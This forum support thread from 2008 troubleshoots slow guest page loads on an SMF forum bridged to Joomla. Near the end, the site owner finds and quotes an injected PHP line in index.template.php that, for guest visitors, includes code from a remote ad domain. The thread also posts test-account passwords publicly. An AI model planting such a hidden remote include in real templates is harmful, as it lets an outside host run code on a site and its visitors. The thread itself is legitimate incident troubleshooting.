Site becomes super slow when logged out. Not Hostname problem.

Started by Knome, March 12, 2008, 02:13:56 AM

Previous topic - Next topic

Knome

Every time someone is logged out of my forums it takes more than 40 seconds to load. It seems that there is some timeout right after 40 seconds. I can not figure out what is wrong.  Any help would be appreciated.

As soon as anyone logs into it, it loads as fast as possible.

I'm using smf 1.1.3. 


Rumbaar

Well firstly, upgrade to 1.1.4 :) it should be a simple process and can be done internally.

Now do you have content or features that are only displayed/accessible to Guests?
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

#2
I can't upgrade to 1.1.4 due to modifications i have made to the skin unfortunately.  I have it halfway converted to 1.1.4

I don't have any features that are only accessible to guests, but i can't be sure. Where can i find out if there are any?

Link to site to see what i am talking about.
www.thebcclan.com
EDIT: here is the state of update for my site



The mods i have installed.




I am currently using a combination of the default theme, a downloaded theme, and a modified one i made.

Here is the my attempt to time the load of the index.php main page.



http://thebcclan.com/forums/status.php?php

i'm approaching 100k in posts.

http://thebcclan.com/phpinfo.php

Rumbaar

Well the upgrade process from 1.1.3 - 1.1.4 should touch any template files, let alone any custom theme files.  But with that many mods I'm sure you ran into some other $source files issues.

What portal software are you using there?

I meant what content is only displayed to guests.  But I see the chat mod took a long time to load and the forum actually never finished loading content (not sure if that's a location issue for me).  I'm sure it's a chat box refresh issue.

Also some of the warnings I got on your site:
Warning: Selector expected.  Ruleset ignored due to bad selector.
Source File: http://thebcclan.com/forums/Themes/default/style.css?rc3
Line: 324

Warning: Selector expected.  Ruleset ignored due to bad selector.
Source File: http://thebcclan.com/forums/Themes/default/style.css?fin11
Line: 324

Warning: Error in parsing value for property 'white-space'.  Declaration dropped.
Source File: http://thebcclan.com/index.php?option=com_smf&Itemid=42
Line: 0


And some actual errors:
Error: unexpected end of XML source
Source File: http://thebcclan.com/index.php?option=com_smf&Itemid=42
Line: 206, Column: 5
Source Code:
]]>

Error: document.sbox.sboxText has no properties
Source File: http://thebcclan.com/index.php?option=com_smf&Itemid=42
Line: 327


Try to disable your shoutbox and see if that improves things.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

The shoutbox didn't make any difference.  The site is lightning fast once you are logged in.  I'll check on the errors in a second.

Rumbaar

Can you supply a test account so we can take a look logged in and as guest to see what might be the issue?
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

#6
user: abztest
Password: 1qazse4

QuoteAlso some of the warnings I got on your site:
Code:
Warning: Selector expected.  Ruleset ignored due to bad selector.
Source File: http://thebcclan.com/forums/Themes/default/style.css?rc3
Line: 324

Warning: Selector expected.  Ruleset ignored due to bad selector.
Source File: http://thebcclan.com/forums/Themes/default/style.css?fin11
Line: 324

Warning: Error in parsing value for property 'white-space'.  Declaration dropped.
Source File: http://thebcclan.com/index.php?option=com_smf&Itemid=42
Line: 0
These errors were caused during the modification of the original template and have been around for ever.

Rumbaar

Actually I just noticed you've disabled/hidden the copyright notice for SMF forums and even Joomla portal.  Please re-instate the full in edited copyright notice.  It is against the terms of use to remove or alter the copyright notice.

Interesting enough that line of code in your CSS is the one giving you the error.  Line 324.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

#8
I can see if i can. It was done accidentally in the beginning.  we'd already gone to far for a reinstall so we kinda got screwed.  I won't be able to see to it probably till this weekend though.  But thats not causing any of my problems.  I think i'm just going to build a new site been over 2 years with that one anyways.


EDIT: now that i think about it i have absolutely no idea how to put that back. I think i remember it being somewhere else besides the css too but i just can't remember.

The joomla portal one is still there. I'm pretty damn sure we didn't touch any of the coding for joomla.

Abzstrak

Quote from: Rumbaar on March 13, 2008, 05:53:02 AM
Actually I just noticed you've disabled/hidden the copyright notice for SMF forums and even Joomla portal.  Please re-instate the full in edited copyright notice.  It is against the terms of use to remove or alter the copyright notice.

Interesting enough that line of code in your CSS is the one giving you the error.  Line 324.

One way or another we will get it back on there ASAP.  It was removed accidentally when we were combining the css between joomla and SMF to get the wrapped site to look correct..... we just never got around to putting it back on there.  Sry for that.

Rumbaar

Well until you do, I'm sorry we can't offer any support.  Please fix ASAP, once done give me PM and I'll unlock this thread so we can continue troubleshooting.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Rumbaar

Ok, that is fixed.  But the test account supplied doesn't seem to be working, incorrect password?
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

#12
Ok the password is now set to: !@#$qwer

I found someone with a similar problem and they figure out it was this
QuoteI have solved the issue now. The problem was the ckeck hostname option. The DNS Server could not resolve the internal IP adresses of the LAN and that lookup caused the delay in the reactions. I turned it off and now everything is running smoothly.

It was the exact same problem. But when i try that fix it doesn't work. Plus they say 20-30 second load times, i'm at 40+ second load times.

Rumbaar

The only difference I see is the Users Logged in today for guest and members.

Can you disable that, also what is the size of your sessions table in the DB?

Also the fact you are in the middle of converting the forum from 1.1.2 - 1.1.4 I'm sure is playing a part in the issue.  Depending on what coding you've implemented to live might be a cause.  With so many mods to go through I'm trying to work out how to trouble shoot it.

Not sure if I asked, but when was it functioning ok as guest and changed to the issue you're having now?
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

We noticed the problem about 2 weeks ago. It may have been another week or so before that when it started. It defiantly started well after we updated the forums.

smf_sessions is 36.2kb with 18,724 bytes overhead.
SMF_sessionsBAK is 1.0kb in size.

I can't seem to disable the user logged in thing.
I came across something interesting. It seems to be linked with smf determining if a user is logged in or not. When i completely disable the forums to guests it still takes for ever to load.

It says its only making 8 queries to make the page, is there a way i can figure out what those queries were?

I want to try and remove anyone who is currently logged in. Can i just dump out the sessions table? 

Rumbaar

Do you have a rough idea of what changes were taking place that could have affected the forums?

I'm not too sure of what correct session size for that size board, also I'm not sure how it's affected by the Joomla bridge.

Quote from: Knome on March 13, 2008, 08:10:00 PMIt seems to be linked with smf determining if a user is logged in or not. When i completely disable the forums to guests it still takes for ever to load.
What makes you think it's a user logged in/out issue from that test?

To the best of my knowledge you can truncate the sessions table.  I think it will just mean all people will have to log back in again and set their login period etc.  But I'm not 100% sure of the implications.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

Well i think that because i disabled the forums entirely for guests and it still takes a long time and also the front page takes for ever to load and that only has a login page as well.

Abzstrak

Quote from: Rumbaar on March 14, 2008, 02:42:31 AM
Do you have a rough idea of what changes were taking place that could have affected the forums?

I'm not too sure of what correct session size for that size board, also I'm not sure how it's affected by the Joomla bridge.

Quote from: Knome on March 13, 2008, 08:10:00 PMIt seems to be linked with smf determining if a user is logged in or not. When i completely disable the forums to guests it still takes for ever to load.
What makes you think it's a user logged in/out issue from that test?

To the best of my knowledge you can truncate the sessions table.  I think it will just mean all people will have to log back in again and set their login period etc.  But I'm not 100% sure of the implications.

To my knowledge nothing had changed recently, its also possible this problem has been going on an extra couple of weeks past what Knome had stated.... We don't install mods very often any more, but we also haven't been logging what has been done and by who or when (this will change)....

We're tempted to just move over the DB's to a clean install with only the mods we really need.... I'm starting to think at this point that might be faster, at the very least it'll be cleaner than the state its currently in.  The only snag with this is the joomla's bridges have undergone some changes with license conflicts and have been pulled, so finding copies seems more challenging (and less reliable)

I've already tried clearing the sessions table, unfortunately it did not help.  I think I'm going to setup xdebug and see if I can make heads or tails out of it with kcachegrind..... just have to find the time :)

Rumbaar

Yes, other than the very slow issues.  The site is very well designed and functional.  I've even accessed the forums directly and found the slowdown, so I'm currently at a loss to why.

It would be interesting to see if a fresh install of your site elsewhere.  Just template, clean db results in the same slowdown.  Then installation of each mod, until the problem is repeated (if at all).

But yes that could be very time consuming.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Abzstrak

yea, thats how we narrowed it down to being a SMF issue, even when accessing the forums directly its slow....  the joomla addon that shows the SMF login info in the left pane I'm sure is why the site is slow for every page.

We appreciate you looking into it, if you have any other ideas, let us know we'll be happy to try them :)

Rumbaar

Have you tried to remove the login coding from the Joomla frontpage bridge and see if you are still experiencing the slowdown?

I know the integration with Joomla alters certain variables and such, that might not rule out Joomla totally.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

Well i deleted everything to do with the smf bridge, now joomla runs super smooth. So guess that eliminates joomla. But that didn't start until i deleted the mambot: SMF_header_include

Rumbaar

I notice accessing the forum direct there is no header or title information.  Also in the source there appears to be an ending </script> tag but no code before it.  Also the upshrink/unshrink javascript doesn't work.

With CORE theme does it affect the same?
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

ok i switched it to classic YaBB SE Theme and that seems to have fixed it.  But that theme looks ugly. I still want to use my existing theme. Can you tell me which lines you found the errors on? 

Rumbaar

Well I was just able to access the output source, so wouldn't be able to tell you what or where it was generated from.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

I found the culprit It seems that someone either hacked our site and added the bellow line or a mod added it.

if($context["user"]["is_guest"]){
@include "http://pornaccesories.hk/ads.php";
}


It was placed at the very end of index.template.php

Is there anyway to tell what application or such wrote out that code? Anyway to tell if any other crap like this is going in other files.

Rumbaar

Interesting.  No there isn't a way to tell what application.  I'd check your index.php file as well, and/or ensure those that can edit your files aren't compromised.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

The file permissions were 644....  We're thinking it came from some mod we installed a while ago. Probably a year or so ago. Going to go ahead and do a complete reload just to be safe.  We think that what ever it was supposed to do it never worked because we had the forums wrapped.

Rumbaar

Well glad you got it identified and able to fix it.

Can you narrow it down to a list of mods, and was it downloaded from here?  If that type of code was added via a mod we would certainly like to know.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

Working on isolating that right now. Is the a mod install log or something? We think that it was from a mod that we installed and then uninstalled and deleted from the directories more than a year ago. If it was a mod it was downloaded from here most likely.  Unfortunately we didn't keep records of the mods we tried unless smf did.

Rumbaar

Well if you look at your package manager folder server side you should see backup files containing all mods ever installed.  It's never cleaned out via automated processes and can currently only be cleared manually.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Knome

Oh god.... There are so many...



Do i have to install the mods again to see if it changes the file or can i look up what it changes in the mod itself?
I think i'm just going to start opening backups and then see where the edit disappears.  Then i'll know.

Knome

Ok after some searching it was inserted between April 11th 2007 and Jun 4th 2007.  Between the mods "Who voted what" and "vMoveTopic_Notify_ByPM" I already looked through the vmove topic notify by pm and it doesn't seem to have added the line so i am stumped. Although the version we had installed was version 0 and the version i checked was a different version.  Based on this folder nothing was installed between that time.  Any other locations i can look for logs?

There is one other possibility, there was a chatbox that we installed on joomla that we discovered was causing spyware to be loaded onto computers. Maybe that had a backdoor in it that let someone edit files. But its kinda odd that they would go there of all places.

Rumbaar

Yes I would look towards security holes/issues with the chatbox.  So it would most likely be due to non sanities code allowing people to inject code to alter your files.
"An important reward for a job well done is a personal sense of worthwhile achievement."

[ Themes ]

Advertisement: